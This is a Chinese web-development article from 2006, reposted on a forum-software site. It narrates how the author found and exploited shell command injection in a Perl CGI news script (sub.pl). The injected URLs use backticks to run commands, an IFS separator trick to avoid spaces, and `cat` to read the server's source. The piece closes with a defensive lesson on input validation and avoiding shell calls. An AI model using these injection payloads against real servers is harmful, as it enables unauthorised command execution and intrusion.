动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
  
   Cgi/Perl → 阅读文章

 一个CGI漏洞的发现和利用

作者来源: 
阅读 1608 人次 , 2006-3-29 4:02:00 

前几天在国内的某个169节点读新闻,这个站点顶部的一排分类新闻的链接引起了我的注意,这些链接都指向一个叫sub.pl的cgi,只是它们后面跟的参数不同:国内新闻的是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi 诸如此类…跟一般的cgi程序不同,sub.pl后跟的不是通常的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定个参数给它: http://victim.net/cgi-bin/home/news/sub.pl?12 不出所料,cgi运行出错了: /home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录 这个cgi真是太老实了,它至少告诉了我们两件事情:
一 cgi目录的绝对路径.
二 我们输入参数的作用,sub.pl的参数是在脚本中作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的参数说不定有更大的发现,经过n次的试验,得到的出错信息大同小异,值到第n+1次请求: http://victim.net/cgi-bin/home/news/sub.pl?& 服务器的返回信息有些不一样了: sh: /ws_ftp95.exe: 不能执行 注意到了前面的"sh:"了吗?哈!,熟悉unix的朋友应该知道,这可是只有在shell试图运行某个程序出错时才会出现的错误信息.看起来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去进一步的影响它呢?反引号"`",绝对是值得一试的: http://victim.net/cgi-bin/home/news/sub.pl?`ls` 服务器返回了奇怪的信息: /home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录 "315"是什么东西? 再试: http://victim.net/cgi-bin/home/news/sub.pl?`id` 这次返回的信息令我大吃一惊: /home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(netsite)/*.*: 无此文件或目? 很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚才的ls命令也肯定运行了,"315"一定是当前cgi目录下的子目录. 让我们来列一下服务器根目录吧: http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/` 没成功: sh: ls%20/: 没找到看来,sub.pl没有把"%20"解码成空格的习惯 :( 如何绕过这个限制呢?相信你现在也已经想到了,还得靠我们的ifs变量, 用它来指定 shell分界符.试一下: http://victim.net/cgi-bin/home/news/sub.pl?`ifs=!;uname!-a` 服务器的回应: /home1/siteadm/cgi-bin/home/news/log/sunos: 无此文件或目录 victim.net: 无此文件或目录 5.5.1: 无此文件或目录 generic_103640-27: 无此文件或目录 sun4u: 无此文件或目录 sparc: 无此文件或目录 sunw,ultra-2/*.*: 无此文件或目录成功了!现在我们差不多有了shell访问权限,对sunos这样的系统,拿到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl 瞎子摸象式的攻击已经给了我足够的乐趣. :) 当然我还有兴趣看看问题到底出在哪,把sub.pl弄下来看看: 当然这还得靠sub.pl :)
http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/news/sub.pl'`
输出结果太乱,就不列在这儿了. 经过整理后的sub.pl中的片断:
#!/usr/gnu/bin/perl require "common.pl"; #($type) = split(//,$env{'query_string'}); $type1=$env{'query_string'}; $tdbg="#ff9900"; &parse_form; if ($form{'command'} eq 'search'){ #if ($form{'newstype'} ne 'newstype'){ $type1=$form{'newstype'};} #} if ($type1 eq"so") {$tdbg="#0099cc";} if ($type1 eq"in") {$tdbg="#71b8ff";} if ($type1 eq"fu") {$tdbg="#ce9ecd";} if ($type1 eq"sp") {$tdbg="#ccccff";} if ($type1 eq"te") {$tdbg="#ff91fc";} if ($type1 eq"fi") {$tdbg="#ffb3b3";} if ($type1 eq"it") {$tdbg="#ffde01";} if ($type1 eq"") {$type1="it";} open (file, "$cgipath/$type") || &error("unable to open $cgipath/$pwd"); @main1= ; close (file); foreach $line1(@main1) { chop($line1); ($type2,$name1)=split(//,$line1); if ($type2 eq $type1) {$name=$name1;} } $sublog=$$type1; print "content-type text/html \n\n"; if ($form{'command'} eq 'searchdate'){ $sublog="$type1/$form{'mmdd'}.txt";} open(file,"$path_log/$sublog") || die("unable to write to $path_log/$file"); @main = ; close(file); #&newshead($name,"1"); . . . . . $data_path1="$data_path/$type1"; $search_data = `ls $data_path1/*.*`;
<--------看来,就是死在这了 :) $search_data =~ s/$data_path1|\.txt|\///g; . . . . . 结论:对于编写很差的cgi程序,通过封闭源码的办法很多时候并不能躲过被黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3. 没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵的难度.还想说的是,国内外通过cgi漏洞入侵的例子并不少见,据说,adm就是利用第三方的cgi程序的漏洞黑了著名的hack站点anticode,antionline变成了 admonline :)
 本文Tags病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:如何在Win95/98/NT上调试CGI程序
· 下一篇:PERL CGI 常见问题
· UBB调试安装详细说明
· Perl教学 第十一篇 文件系统之四
· 用 perl 实现文件上传
· Perl教学 第十篇 格式化输出之二
· Perl教学 操作符


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077